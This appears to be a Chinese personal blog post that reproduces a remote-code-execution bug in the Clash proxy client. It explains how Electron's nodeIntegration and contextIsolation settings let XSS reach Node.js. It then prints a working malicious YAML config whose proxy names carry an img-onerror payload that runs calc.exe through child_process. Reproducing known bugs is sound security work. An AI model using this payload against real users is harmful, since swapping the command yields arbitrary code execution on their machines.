侧边栏壁纸
博主头像
Lou1s

想上梁山。

  • 累计撰写 9 篇文章
  • 累计创建 16 个标签
  • 累计收到 5 条评论

简单复现CLASH RCE以及谴责一下electron这个带恶人(我的大恩人)

Lou1s
2023-02-08 / 0 评论 / 0 点赞 / 2,218 阅读 / 1,370 字
温馨提示:
本文最后更新于 2023-02-09,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

1.首先介绍一下electron这个框架为什么会可以从XSS到RCE:
判断一个electron应用能否RCE的关键是查看,它配置中contextIsolation的参数设置是否为true和nodeIntegration是否为false(默认值为true,可以执行)。contextIsolation是个Electron原生功能,它允许开发人员在特定的 JavaScript 上下文中的预加载脚本和 Electron API 中运行代码。这也就意味着诸如Array.prototype.pushor之类的全局对象JSON.parse不能被渲染器进程中运行的脚本修改。它在 Electron 的本地JavaScript 代码和 Web 应用程序的 JavaScript 代码之间引入了分离的上下文,因此应用程序的 JavaScript 代码的执行不会影响本机代码。但是如果contextIsolation禁用,Web 应用程序的 JavaScript 代码可能会影响 Electron 原生 JavaScript 代码在渲染器和预加载脚本上的执行。这种行为很危险,因为如果Electron 允许 Web 应用程序的 JavaScript 代码使用 Node.js 功能,这样用户就可以通过控制输入来实现RCE。
2.Clash为什么可以RCE呢?
简而言之就是electron这个带恶人的锅(clash没有正确设置nodeIntegration参数,实际上这个参数为true)
并且由于clash 对于代理的名字和代理组的名字没有做任何处理,导致可以插入XSS语句导致RCE
image-1675909589693
点击引入我们的恶意cfg文件

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true

proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: select
    proxies:
    - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

然后我们再点击切换到代理那里
就会发现,代理组的名字和代理的名字还有代理配置的名字那里插了三个xss,然后就RCE弹出计算器了。
image-1675909610245

0

评论区